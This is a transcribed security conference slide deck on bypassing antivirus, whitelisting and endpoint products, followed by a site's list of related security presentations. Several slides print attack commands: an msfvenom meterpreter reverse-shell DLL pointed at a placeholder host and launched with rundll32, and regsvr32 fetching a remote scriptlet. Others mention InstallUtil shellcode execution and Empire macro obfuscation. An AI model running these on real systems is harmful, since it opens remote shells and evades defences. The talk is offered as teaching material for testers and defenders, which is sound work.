Users They Click things
|
|
|
- Darren Hamilton
- 5 years ago
- Views:
Transcription
1 If I wake evil
2 Users They Click things
3 I like shiny things Do you find a need to have multiple twitter followers? Do you desire clicks on Facebook? Do you snort LinkedIn requests like a bad 80 s bender? Then Do I have a link for you!!! Truth!
4 How do bad things happen? We seem to be in a loop A very bad loop Getting angry at questions Best AV? Best DLP? Best Threat Intel Feed? Best Firewall? Patterns and Chiasms This.. Without the learn.
5 Password example Most password complexity requirements are: >8 Characters Upper/Lower/Alpha/Num No Dictionary words Full of fail We cannot fix this because of compliance! Truth!
6 NIST Greenbook
7 The Need for a Good Password Set
8 YESSS!!!
9 OWA 2FA bypass - Beau
10 OWA/Office365 2FA bypass - Beau Today
11 Cash Cow Tipping. Bypass everything.. AV, DLP, Firewalls, etc. Trivial to do.. More smoke and mirrors Get previous sessions here: Tinyurl.com/504extra2
12 It Wont Get Better Mail Providers Blocking Powershell Macros
13 Obfuscate Empire Macro Appear to just look for powershell in macro Well just break up the string
14 Do you run any of these?
15 (Casey Smith) is awesome Please, take a moment and follow By pulling down InstallUtil-ShellCode.cs and inserting msvenom (-f csharp) into it Compile with the csc.exe tool Awesome! Because it does not need a full Visual Studio Environment Walkthrough here: here:
16 InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
17 Is this some kind of joke?.sct files?/? Huh? No joke.
18 .sct Running it regsvr32 /s /n /u /i: scrobj.dll Yea regsvr32 can take a url It is Proxy aware Uses TLS Is a signed MS binary
19 Advanced Endpoint Security We are seeing Vision (Hi Dave!!), Cylance, Bit9 (to a lesser extent), CrowdStrike, etc. on more tests Most are train wrecks Total train wrecks White listing is a thing Get used to it Smaller organizations doing much better Larger orgs getting it Yea, scary Do not base purchases on a companies marketing budget
20
21 Cyfort bypass - Derek Last week
22 Cylance bypass - Joff Two lines # msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=y -f dll -o msf.dll C:\> rundll32.exe msf.dll, Control_RunDLL Yea That s pretty much it What does this mean?
23 Full access to Win
24 Cylance
25 Full Access
26 Web Proxy Whitelisting Bypass Yesterday Brian Big thanks
27 Moving forward AV, DLP, Firewalls, Threat Intelligence Feeds, Cyber Kill-Chain Lets leave those old things behind If we started all over again How would we do it? There is a lot of baggage over the years. Time to let that go too. This is all based on our testing and training Same loops, same patterns
28 Attacking a VPN FatPipe Found by Joff Thyer They have not responded in months Problem with key reuse If the same key is used For all installations I can steal that key And decrypt on the fly Copyright 2014
29 Bruce Cries... Copyright 2014
30 ECM Copyright 2014
31 Quick!! To Python! Copyright 2014
32 Results!! Copyright 2014
33 Lesson Exploits are not always buffer/heap overflows We need to look deeper into the logic of things. Copyright 2014
34 SDR.. Is Awesome! 300/315/390 MHz Copyright 2014
35 But Can Be frustrating.. Copyright 2014
36 Stealing your garage door opener Copyright 2014
37 Binary! Copyright 2014
38 WAV to bin.. Partial Copyright 2014
39 Lesson Security is moving on Not just OS and Web security Copyright 2014
40 Stop me New Fundamentals App Locker and SRP Long Passwords Two Factor Auth Firewall Everything Internet Whitelisting Regularly Test Things Assume you will be compromised.. Plan Accordingly!!!! Copyright 2014
41 Why Current Strategies Are Not Working Offensive: You will need to attack Defensive: Know our limitations Go back 5 or 6 years... What were they saying to defend networks? - Patch - AV - IDS/IPS What are they saying now? - Patch - AV - IDS/IPS Do you see the beginning of a bad pattern? This section is good for defense and for your attacks against the bad guys Copyright 2014
42 THIS!! Hunt Teaming Actively looking for advanced attackers - You probably have been compromised If we can bypass AV/IDS/IPS.. Attackers can too! Intelligent analysis of all data sources at your disposal - Lots of logs and data to analyze - Oh And math, there is lots of math as well Copyright 2014
43 Pictured Not hunting Copyright 2014
44 The RITA Hunt Solution Parse Bro Data Sources Extract Data of Interest around Network / Application Sessions Use Math and Statistical Methods to Find Anomalous Activity Enable Security Analysts to Visualize and Identify potential trouble makers. Copyright 2014
45 What did you think security was going to be? Copyright 2014
46 Lets Practice! Thanks To Mark Baggett!!! Copyright 2014
47 More! More Practice! Copyright 2014
48 Want this? And other things. Copyright 2014
49 A note on architecture Copyright 2014
50 Thanks for attending! John Strand john@bhis.co Puppies Make It All Better Copyright 2014
51 Oh One more thing Webcasts! Free!!! Every month!!! Register here.. Because we trust QR Codes - > Copyright 2014
Evolution Of Cyber Threats & Defense Approaches
Evolution Of Cyber Threats & Defense Approaches Antony Abraham IT Architect, Information Security, State Farm Kevin McIntyre Tech Lead, Information Security, State Farm Agenda About State Farm Evolution
Detecting Modern PowerShell Attacks with SIEM
SEC555 Presentation based on SEC555: SIEM with Tactical Analytics Detecting Modern PowerShell Attacks with SIEM Justin Henderson (GSE # 108) @SecurityMapper About Us Author of SEC555: SIEM with Tactical
AND STOPPING THE NEXT ONE
LEARNING FROM HIGH-PROFILE BREACHES AND STOPPING THE NEXT ONE DAN LARSON VP OF PRODUCT, CROWDSTRIKE CROWD-SOURCED CLOUD-BASED CAPTURE ENRICH HUNT 150B Events/day 109 Adversaries tracked 25,000 Breaches
Mind The Gap. Exploit Free Whitelisting Evasion Tactics. Casey
Mind The Gap Exploit Free Whitelisting Evasion Tactics Casey Smith @subtee C:\> whoami /all USER INFORMATION - - - - - - - - - - - - - - - - - - - - Banker By Day Red Team Lead This talk seeks to explore
Advanced Endpoint Protection
Advanced Endpoint Protection Protecting Endpoints and Servers Nick Levay, Chief Security Officer, Bit9 @rattle1337 2014 Bit9. All Rights Reserved About Me Chief Security Officer, Bit9
Next Generation Endpoint Security Confused?
SESSION ID: CEM-W06 Next Generation Endpoint Security Confused? Greg Day VP & Chief Security Officer, EMEA Palo Alto Networks @GreDaySecurity Brief Intro Questions we will answer Do I need a new (NG) endpoint
Application Whitelisting and Active Analysis Nick Levay, Chief Security Officer, Bit9
Application Whitelisting and Active Analysis Nick Levay, Chief Security Officer, Bit9 About Me Chief Security Officer @ Bit9 Former Director of Technical Operations and Information Security @ Center for
Key Technologies for Security Operations. Copyright 2014 EMC Corporation. All rights reserved.
Key Technologies for Security Operations 2 Traditional Security Is Not Working 97% of breaches led to compromise within days or less with 72% leading to data exfiltration in the same time Source: Verizon
What is Cloud Computing?
What is Cloud Computing? I had to look it up I hear about it a lot, but I don t have a clear concept of what it is Straight to the Wiki! Cloud computing is Internet-based computing, whereby shared resources,
Un SOC avanzato per una efficace risposta al cybercrime
Un SOC avanzato per una efficace risposta al cybercrime Identificazione e conferma di un incidente @RSAEMEA #RSAEMEASummit @masiste75 Mauro Costantini - Presales Consultant Agenda A look into the threat
Fighting Phishing I: Get phish or die tryin.
Fighting Phishing I: Get phish or die tryin. Micah Nelson and Max Hyppolite bit.ly/nercomp_sap918 Please, don t forget to submit your feedback for today s session at the above URL. If you use social media
CYBER RISK MANAGEMENT: ADDRESSING THE CHALLENGE SIMON CRUMPLIN, FOUNDER & CEO
CYBER RISK MANAGEMENT: ADDRESSING THE CHALLENGE SIMON CRUMPLIN, FOUNDER & CEO INFORMATION SECURITY PAINS CISO RESPONSIBILITY WITHOUT AUTHORITY INVENTORY TO MANAGE ALERTS WITHOUT MEANING ASSETS SPREAD ACROSS
The Invisible Threat of Modern Malware Lee Gitzes, CISSP Comm Solutions Company
The Invisible Threat of Modern Malware Lee Gitzes, CISSP Comm Solutions Company November 12, 2014 Malware s Evolution Why the change? Hacking is profitable! Breaches and Malware are Projected to Cost $491
Becoming the Adversary
SESSION ID: CIN-R06 Becoming the Adversary Tyrone Erasmus Managing Security Consultant MWR InfoSecurity @metall0id /usr/bin/whoami Most public research == Android Something different today 2 Overview Introduction
SO YOU THINK YOU ARE PROTECTED? THINK AGAIN! NEXT GENERATION ENDPOINT SECURITY
SO YOU THINK YOU ARE PROTECTED? THINK AGAIN! NEXT GENERATION ENDPOINT SECURITY www.securelink.net BACKGROUND Macro trends like cloud and mobility change the requirements for endpoint security. Data can
Economies of Scale in Hacking Dave Aitel Immunity
Economies of Scale in Hacking Dave Aitel Immunity Ekoparty, 2008 (Argentina) 10/01/08 1 Demand Side/Supply Side Economies of Scale Networked increase in value High barrier of entry Cheaper as you get bigger
Critical Hygiene for Preventing Major Breaches
SESSION ID: CXO-F02 Critical Hygiene for Preventing Major Breaches Jonathan Trull Microsoft Enterprise Cybersecurity Group @jonathantrull Tony Sager Center for Internet Security @CISecurity Mark Simos
WHITE PAPER. Operationalizing Threat Intelligence Data: The Problems of Relevance and Scale
WHITE PAPER Operationalizing Threat Intelligence Data: The Problems of Relevance and Scale Operationalizing Threat Intelligence Data: The Problems of Relevance and Scale One key number that is generally
Internet infrastructure
Internet infrastructure Prof. dr. ir. André Mariën (c) A. Mariën 04/03/2014 1 Topic Vulnerability and patch management (c) A. Mariën 04/03/2014 2 Requirements Security principle: Everything can and will
Novetta Cyber Analytics
Know your network. Arm your analysts. Introduction Novetta Cyber Analytics is an advanced network traffic analytics solution that empowers analysts with comprehensive, near real time cyber security visibility
IoT in 2016: a serious overview of IoT today and a technical preview of HoneyVNC. By Yonathan Klijnsma
IoT in 2016: a serious overview of IoT today and a technical preview of HoneyVNC By Yonathan Klijnsma Yonathan Klijnsma Senior Threat Intelligence Analyst Perform threat intelligence analysis at keeping
Building Resilience in a Digital Enterprise
Building Resilience in a Digital Enterprise Top five steps to help reduce the risk of advanced targeted attacks To be successful in business today, an enterprise must operate securely in the cyberdomain.
Cybersecurity Best Practices
Cybersecurity Best Practices Securing Your Organization, Systems and Platforms Health IT Summit The Cybersecurity Forum August 2017 Tony Sager Sr. Vice President and Chief Evangelist, CIS 1 Classic Risk
SANS Hackfest. Secret Pentesting Techniques Part 2. Dave Kennedy Founder, @HackingDave
SANS Hackfest Secret Pentesting Techniques Part 2 Dave Kennedy Founder, CEO Twitter: @TrustedSec, @Binary_Defense @HackingDave David&Kennedy s&background& Founder of TrustedSec. Co-Founder and CTO Binary
K12 Cybersecurity Roadmap
K12 Cybersecurity Roadmap Introduction Jason Brown, CISSP Chief Information Security Officer Merit Network, Inc jbrown@merit.edu @jasonbrown17 https://linkedin.com/in/jasonbrown17 2 Agenda 3 Why Use the
State of Security Operations
State of Security Operations Roberto Sandoval / September 2014 Security Intelligence & Operations Consulting Founded: 2007 The best in the world at building state of the art security operations capabilities/cyber
PrecisionAccess Trusted Access Control
Data Sheet PrecisionAccess Trusted Access Control Defeats Cyber Attacks Credential Theft: Integrated MFA defeats credential theft. Server Exploitation: Server isolation defeats server exploitation. Compromised
ENDPOINT SECURITY AND THE CLOUD: HOW TO APPLY PREDICTIVE ANALYTICS AND BIG DATA
SESSION ID: SPO3-R04 ENDPOINT SECURITY AND THE CLOUD: HOW TO APPLY PREDICTIVE ANALYTICS AND BIG DATA Brian Gladstein Cybersecurity Market Strategist Carbon Black @briangladstein ASYMMETRIC WARFARE IT S
The Rise and Fall of
The Rise and Fall of AMSI @Tal_Liberman About me @Tal_Liberman Research & Reverse Engineering Founder @ Polarium Previously Head of Research Team @ ensilo #ProcessDoppelgänging #AtomBombing Overview Introduction
Phishing Stories. Shaun Jones
Phishing Stories Shaun Jones Agenda What is Phishing? Phishing Story I Intranets are actually pretty useful Phishing Story II Why do I need two factor auth Phishing Story III Everybody gets shells! What
ANATOMY OF AN ATTACK!
ANATOMY OF AN ATTACK! Are Your Crown Jewels Safe? Dom Kapac, Security Evangelist WHAT DO WE MEAN BY CROWN JEWELS? Crown jewels for most organizations are critical infrastructure and data Data is a valuable
Traditional Security Solutions Have Reached Their Limit
Traditional Security Solutions Have Reached Their Limit CHALLENGE #1 They are reactive They force you to deal only with symptoms, rather than root causes. CHALLENGE #2 256 DAYS TO IDENTIFY A BREACH TRADITIONAL
ATT&CKing for better Defense: An Introduction to the MITRE ATT&CK Framework
ATT&CKing for better Defense: An Introduction to the MITRE ATT&CK Framework Random Image Taken From: http://www.flickr.com/photos/sophos_germany/3321556353/ Agenda Introductions The Problem MITRE ATT&CK
Whitepaper. Advanced Threat Hunting with Carbon Black Enterprise Response
Advanced Threat Hunting with Carbon Black Enterprise Response TABLE OF CONTENTS Overview Threat Hunting Defined Existing Challenges and Solutions Prioritize Endpoint Data Collection Over Detection Leverage
Product Roadmap Symantec Endpoint Protection Suzanne Konvicka & Paul Murgatroyd
Product Roadmap Symantec Endpoint Protection Suzanne Konvicka & Paul Murgatroyd Symantec Endpoint Protection Product Roadmap 1 Safe Harbor Disclaimer Any information regarding pre-release Symantec offerings,
HACKING EXPOSED: MELTING DOWN MEMORY
SESSION ID: EXP=W04 HACKING EXPOSED: MELTING DOWN MEMORY George Kurtz Co-Founder & President/CEO CrowdStrike Inc. @George_Kurtz Dmitri Alperovitch Co-Founder & CTO CrowdStrike Inc. @DAlperovitch Elia Zaitsev
PND at a glance: The World s Premier Online Practical Network Defense course. Self-paced, online, flexible access
The World s Premier Online Practical Network Defense course PND at a glance: Self-paced, online, flexible access 1500+ interactive slides (PDF, HTML5 and Flash) 5+ hours of video material 10 virtual labs
Course Outline Topic 1: Current State Assessment, Security Operations Centers, and Security Architecture
About this Course This course will best position your organization to analyse threats and detect anomalies that could indicate cybercriminal behaviour. The payoff for this new proactive approach would
CYBER SECURITY EFFECTIVENESS FOR THE RESOURCE-CONSTRAINED ORGANIZATION
SELF-AUDIT GUIDE CYBER SECURITY EFFECTIVENESS FOR THE RESOURCE-CONSTRAINED ORGANIZATION A Primer for Moving Beyond AV and Firewalls 1 The Problem As software systems become more distributed and interactive
PRACTICAL NETWORK DEFENSE VERSION 1
PRACTICAL NETWORK DEFENSE VERSION 1 The world s premiere online practical network defense course elearnsecurity has been chosen by students in over 140 countries in the world and by leading organizations
THE SIX ESSENTIAL CAPABILITIES OF AN ANALYTICS-DRIVEN SIEM
THE SIX ESSENTIAL CAPABILITIES OF AN ANALYTICS-DRIVEN SIEM Modern threats demand analytics-driven security and continuous monitoring Legacy SIEMs are Stuck in the Past Finding a mechanism to collect, store
Here(is(the(XML(Schema(that(describes(the(format:
BuildingBusinessDashboardsusingXSLT,SVG,HTML5 Today seconomyhasdramaticallychangedthewaycompaniesdobusiness,havinganonlinepresenceisnolonger sufficient,andordermanagementsystemshavetobereal:timeandaccessibleonalargevarietyofdevices:
The Evolution of : Continuous Advanced Threat Protection
The Evolution of : Continuous Advanced Threat Protection Craig Bird Senior Solutions Engineer Security is a combination of protection, detection and response You need Prevention to defend against low-focus
Advanced Threat Hunting:
Advanced Threat Hunting: Identify and Track Adversaries Infiltrating Your Organization In Partnership with: Presented by: Randeep Gill Tony Shadrake Enterprise Security Engineer, Europe Regional Director,
Passit4Sure (50Q) Cisco Advanced Security Architecture for System Engineers
Passit4Sure.500-265 (50Q) Number: 500-265 Passing Score: 800 Time Limit: 120 min File Version: 5.8 Cisco 500-265 Advanced Security Architecture for System Engineers Today is big day for me as I passed
State of the. Union. (or: How not to use Krebs as an IDS ) (Information Security) Jeff McJunkin Senior Technical Analyst Counter Hack Challenges
State of the (Information Security) Union (or: How not to use Krebs as an IDS ) Jeff McJunkin Senior Technical Analyst Counter Hack Challenges My background IT Systems / Network Administrator for City
Base64 The Security Killer
Base64 The Security Killer Kevin Fiscus NWN Corporation Session ID: DAS-203 Session Classification: Intermediate A Short (Made Up) Security Story Helix Pharmaceuticals is concerned about security Industrial
Attacks Against Websites 3 The OWASP Top 10. Tom Chothia Computer Security, Lecture 14
Attacks Against Websites 3 The OWASP Top 10 Tom Chothia Computer Security, Lecture 14 OWASP top 10. The Open Web Application Security Project Open public effort to improve web security: Many useful documents.
CloudSOC and Security.cloud for Microsoft Office 365
Solution Brief CloudSOC and Email Security.cloud for Microsoft Office 365 DID YOU KNOW? Email is the #1 delivery mechanism for malware. 1 Over 40% of compliance related data in Office 365 is overexposed
Getting over Ransomware - Plan your Strategy for more Advanced Threats
Getting over Ransomware - Plan your Strategy for more Advanced Threats Kaspersky Lab Hong Kong Eric Kwok General Manager Lapcom Ltd. BEYOND ANTI-VIRUS: TRUE CYBERSECURITY FROM KASPERSKY LAB 20 years ago
SIEM FOR BEGINNERS Everything You Wanted to Know About
SIEM FOR BEGINNERS Everything You Wanted to Know About Log Management But were Afraid to Ask www.alienvault.com A Rose By Any Other Name SLM/LMS, SIM, SEM, SEC, SIEM Although the industry has settled on
Post-Exploitation Hunting with ATT&CK & Elastic
Post-Exploitation Hunting with ATT&CK & Elastic John Hubbard @SecHubb SOC Lead at GlaxoSmithKline SANS Author & Instructor SEC455: SIEM Design & Implementation SEC511: Continuous Monitoring & Security
INCIDENT HANDLING & RESPONSE PROFESSIONAL VERSION 1
INCIDENT HANDLING & RESPONSE PROFESSIONAL VERSION 1 The most practical and comprehensive training course on incident handling & response elearnsecurity has been chosen by students in over 140 countries
BEST PRACTICES FOR PERSONAL Security
BEST PRACTICES FOR PERSONAL Email Security Sometimes it feels that the world of email and internet communication is fraught with dangers: malware, viruses, cyber attacks and so on. There are some simple
Lessons from the Human Immune System Gavin Hill, Director Threat Intelligence
Lessons from the Human Immune System Gavin Hill, Director Threat Intelligence HLA ID: 90FZSBZFZSB 56BVCXVBVCK 23YSLUSYSLI 01GATCAGATC Cyber space is very similar to organic realm Keys & certificates are
The First 12. An Hour-by-Hour Breakdown of a Threat Actor Inside Your Environment. Dr. Chase Cunningham ECSA,
The First 12 An Hour-by-Hour Breakdown of a Threat Actor Inside Your Environment Dr. Chase Cunningham ECSA, LPT HEAD OF THREAT RESEARCH & DEVELOPMENT, ARMOR @CynjaChaseC Hour 1 0100 HOURS Target Observation
The SIEM That Gives SIEM a Good Name. Avi Chesla Founder & CTO
The SIEM That Gives SIEM a Good Name Avi Chesla Founder & CTO The Sad Story of SIEM Right idea. Bad execution. SIEM came on the scene 10 years ago, but failed, why? The dot-com boom - attacks grew sky-high
PULLING OUR SOCS UP VODAFONE GROUP AT RSAC Emma Smith. Andy Talbot. Group Technology Security Director Vodafone Group Plc
#RSAC SESSION ID: AIR-R04 PULLING OUR SOCS UP VODAFONE GROUP AT RSAC 2018 Emma Smith Group Technology Security Director Vodafone Group Plc Andy Talbot Global Head of Cyber Defence Vodafone Group Plc Pulling
Active Defence A chance to fight back. Dott. Agostino PANICO Rome, 09/06/2016
Active Defence A chance to fight back Dott. Agostino PANICO Rome, 09/06/2016 $ cut -f5 -d: /etc/passwd grep -i panico PhD Student @ La Sapienza University of Rome Master Governance e Audit dei Sistemi
CCNA Cybersecurity Operations. Program Overview
Table of Contents 1. Introduction 2. Target Audience 3. Prerequisites 4. Target Certification 5. Curriculum Description 6. Curriculum Objectives 7. Virtual Machine Requirements 8. Course Outline 9. System
Top 20 Critical Security Controls (CSC) for Effective Cyber Defense. Christian Espinosa Alpine Security
Top 20 Critical Security Controls (CSC) for Effective Cyber Defense Christian Espinosa Alpine Security christian.espinosa@alpinesecurity.com Background Christian Espinosa christian.espinosa@alpinesecurity.com
A Measurement Companion to the CIS Critical Security Controls (Version 6) October
A Measurement Companion to the CIS Critical Security Controls (Version 6) October 2015 1 A Measurement Companion to the CIS Critical Security Controls (Version 6) Introduction... 3 Description... 4 CIS
Vendors and Security. Robert Smith Sr. Director Technology Student Affairs Technology Services
Vendors and Security Robert Smith Sr. Director Technology Student Affairs Technology Services The views expressed are my own. Opinions expressed are solely my own and do not express the views or opinions
The Risks Associated with (unmanaged) PowerShell. Casting a hidden.net HITRUST Alliance
The Risks Associated with (unmanaged) PowerShell Casting a hidden.net 1 2018 HITRUST Alliance PowerShell as an Attack Platform Availability: Built-in command shell in every Windows 7/2008 R2 and newer
Cyber Threat Intelligence Debbie Janeczek May 24, 2017
Cyber Threat Intelligence Debbie Janeczek May 24, 2017 AGENDA Today s Cybersecurity Challenges What is Threat Intelligence? Data, Information, Intelligence Strategic, Operational and Tactical Threat Intelligence
ForeScout Extended Module for Carbon Black
ForeScout Extended Module for Carbon Black Version 1.0 Table of Contents About the Carbon Black Integration... 4 Advanced Threat Detection with the IOC Scanner Plugin... 4 Use Cases... 5 Carbon Black Agent
Strategies for a Successful Security and Digital Transformation
#RSAC SESSION ID: GPS-F02A Strategies for a Successful Security and Digital Transformation Jonathan Nguyen-Duy Vice President, Strategic Programs jnguyenduy@fortinet.com AGENDA 2017 Digital transformation
Cyber Threat Intelligence Standards - A high-level overview
Cyber Threat Intelligence Standards - A high-level overview Christian Doerr TU Delft, Cyber Threat Intelligence Lab Delft University of Technology Challenge the future ~ whoami At TU Delft since 2008 in
Simple Tweaks to be Relevant in a Cloud World
Simple Tweaks to be Relevant in a Cloud World Rick Claus Cloud Advocate Microsoft @RicksterCDN #ITDEVCONNECTIONS ITDEVCONNECTIONS.COM Current state Cloud Cloud Cloud Cloud Cloud Cloud Cloud It s time for
Managing an Active Incident Response Case. Paul Underwood, COO
Managing an Active Incident Response Case Paul Underwood, COO 2 About Us Paul Underwood - COO Emagined Security is a leading professional services firm for Information Security, Privacy & Compliance solutions.
Securing Your Salesforce Org: The Human Factor. February 2016 User Group Meeting
Securing Your Salesforce Org: The Human Factor February 2016 User Group Meeting Safe Harbor Safe harbor statement under the Private Securities Litigation Reform Act of 1995: This presentation may contain
Agile Security Solutions
Agile Security Solutions Piotr Linke Security Engineer CISSP CISA CRISC CISM Open Source SNORT 2 Consider these guys All were smart. All had security. All were seriously compromised. 3 The Industrialization
Advanced Threat Hunting. botconf December 8, 2017
Advanced Threat Hunting botconf December 8, 2017 1 Who Am I? Director of Research Innovation Research Team ThreatConnect, Inc. 2 A Few Definitions Threat Intelligence Tactical Operational Technical Strategic
Presenter Jakob Drescher. Industry. Measures used to protect assets against computer threats. Covers both intentional and unintentional attacks.
Presenter Jakob Drescher Industry Cyber Security 1 Cyber Security? Measures used to protect assets against computer threats. Covers both intentional and unintentional attacks. Malware or network traffic
How Breaches Really Happen
How Breaches Really Happen www.10dsecurity.com About Dedicated Information Security Firm Clients Nationwide, primarily in financial industry Services Penetration Testing Social Engineering Vulnerability
Lessons Learned from 4,000 Security Assessments. Sadik Al-Abdulla Security Practice Director, CDW
Lessons Learned from 4,000 Security Assessments Sadik Al-Abdulla Security Practice Director, CDW MY GOAL TODAY Balancing IT Security Share learning from 4000+ security assessments Provide tactical and
Reducing cyber risks in the era of digital transformation
Reducing cyber risks in the era of digital transformation Sergey Soldatov Head of Security Operations Center, R&D Security Services WHO AM I? Since 2016: Head of SOC at Kaspersky lab Internal SOC Commercial
Cisco Ransomware Defense The Ransomware Threat Is Real
Cisco Ransomware Defense The Ransomware Threat Is Real Seguridad Integrada Abril 2018 Ransomware B Malicious Software Encrypts Critical Data Demands Payment Permanent Data Loss Business Impacts Ramifications
Exposing The Misuse of The Foundation of Online Security
Exposing The Misuse of The Foundation of Online Security HLA ID: 90FZSBZFZSB 56BVCXVBVCK 23YSLUSYSLI 01GATCAGATC Cyber space is very similar to organic realm Keys & certificates are like HLA tags But,
Firewalls Network Security: Firewalls and Virtual Private Networks CS 239 Computer Software March 3, 2003
Firewalls Network Security: Firewalls and Virtual Private Networks CS 239 Computer Software March 3, 2003 A system or combination of systems that enforces a boundary between two or more networks - NCSA
Incident Response Programming with R. Eric Zielinski Sr. Consultant, Nationwide
Incident Response Programming with R Eric Zielinski Sr. Consultant, Nationwide About Me? Cyber Defender for Nationwide Over 15 years in Information Security Speaker at various conferences FIRST, CEIC,
Security Gaps from the Field
Security Gaps from the Field Reconnaissance, Theft, and Looking Them in the Eye Helping you grow your business with scalable IT services & solutions Bruce Ward, CISM, Vice President for today s challenges
CYBER SECURITY FOR MEDICAL COLLEGES
CYBER SECURITY FOR MEDICAL COLLEGES PAGE 1 PRESENTER: BENJAMIN MOSSÉ THURSDAY, AUGUST 3, 2017 MOSSÉ SECURITY About Me PAGE 2 Chief Executive Officer of Mossé Security Founder of Mossé Cyber Security Institute
Wayward Wi-Fi. How Rogue Hotspots Can Hijack Your Data and Put Your Mobile Devices at Risk
Wayward Wi-Fi How Rogue Hotspots Can Hijack Your Data and Put Your Mobile Devices at Risk 288 MILLION There are more than 288 million unique Wi-Fi networks worldwide. Source: Wireless Geographic Logging
Machine Learning and Advanced Analytics to Address Today s Security Challenges
Machine Learning and Advanced Analytics to Address Today s Security Challenges Depending on your outlook, this is either an exciting time or a terrible time to be part of an enterprise cybersecurity team.
Security Operations Centers in Action
Security Operations Centers in Action Why? Why Now? How? Matthew Gardiner, Sr. Manager, RSA 1 How to Improve IT Security? Apply What Our Ancestors Knew ~1000 Years Ago! 2 The Need for a Balanced Defensive
Incident Scale
SESSION ID: SOP-T07 Incident Response @ Scale Salah Altokhais Incident Response Consultant National Cyber Security Center (NCSC),KSA @salah.altokhais Khalid Alsuwaiyel Incident Response Specialist National
How Advanced Persistent Threats Successfully Breach Large Organizations AND, What To Do About It
How Advanced Persistent Threats Successfully Breach Large Organizations AND, What To Do About It Robert West Chief Information Security Officer Department of Homeland Security Top 10 misconceptions about
Cisco Firepower NGIPS Tuning and Best Practices
Cisco Firepower NGIPS Tuning and Best Practices John Wise, Security Instructor High Touch Delivery, Cisco Learning Services CTHCRT-2000 Cisco Spark How Questions? Use Cisco Spark to communicate with the
OODA Security. Taking back the advantage!
OODA Security Taking back the advantage! About Me Kevin Fiscus Owner Cyber Defense Advisors 24 Years in IT 13 Years in security SANS Certified Instructor GIAC Security Expert Cyber Guardian Red/Blue Team
SECURITY AUTOMATION BEST PRACTICES. A Guide on Making Your Security Team Successful with Automation SECURITY AUTOMATION BEST PRACTICES - 1
SECURITY AUTOMATION BEST PRACTICES A Guide on Making Your Security Team Successful with Automation SECURITY AUTOMATION BEST PRACTICES - 1 Introduction The best security postures are those that are built
Surprisingly Successful: What Really Works in Cyber Defense. John Pescatore, SANS
Surprisingly Successful: What Really Works in Cyber Defense John Pescatore, SANS 1 Largest Breach Ever 2 The Business Impact Equation All CEOs know stuff happens in business and in security The goal is
Security Automation Best Practices
WHITEPAPER Security Automation Best Practices A guide to making your security team successful with automation TABLE OF CONTENTS Introduction 3 What Is Security Automation? 3 Security Automation: A Tough
SentinelOne Technical Brief
SentinelOne Technical Brief SentinelOne unifies prevention, detection and response in a fundamentally new approach to endpoint protection, driven by behavior-based threat detection and intelligent automation.
9 Steps to Protect Against Ransomware
9 Steps to Protect Against Ransomware IT Support Analyst Task Overview Security Manager Security Dashboard Self Service log Secur Devices With Vulnerabilities Critical Important/High Moderate/Medium 40
Cybersecurity in Government
Cybersecurity in Government Executive Development Course: Digital Government Ng Lup Houh, Principal Cybersecurity Specialist Cybersecurity Group 03 April 2018 Agenda Cyber Threats & Vulnerabilities Cyber
Security analytics: From data to action Visual and analytical approaches to detecting modern adversaries
Security analytics: From data to action Visual and analytical approaches to detecting modern adversaries Chris Calvert, CISSP, CISM Director of Solutions Innovation Copyright 2013 Hewlett-Packard Development
Automated Context and Incident Response
Technical Brief Automated Context and Incident Response www.proofpoint.com Incident response requires situational awareness of the target, his or her environment, and the attacker. However, security alerts
Building a Threat-Based Cyber Team
Building a Threat-Based Cyber Team Anthony Talamantes Manager, Defensive Cyber Operations Todd Kight Lead Cyber Threat Analyst Sep 26, 2017 Washington, DC Forward-Looking Statements During the course of
The Critical Incident Response Maturity Journey
The Critical Incident Response Maturity Journey Why? Why Now? How? Matthew Gardiner, Sr. Manager, RSA 1 Our World is Changing Fast New Threats New Vulnerabilities New Assets 2 Advanced Attackers Are Advanced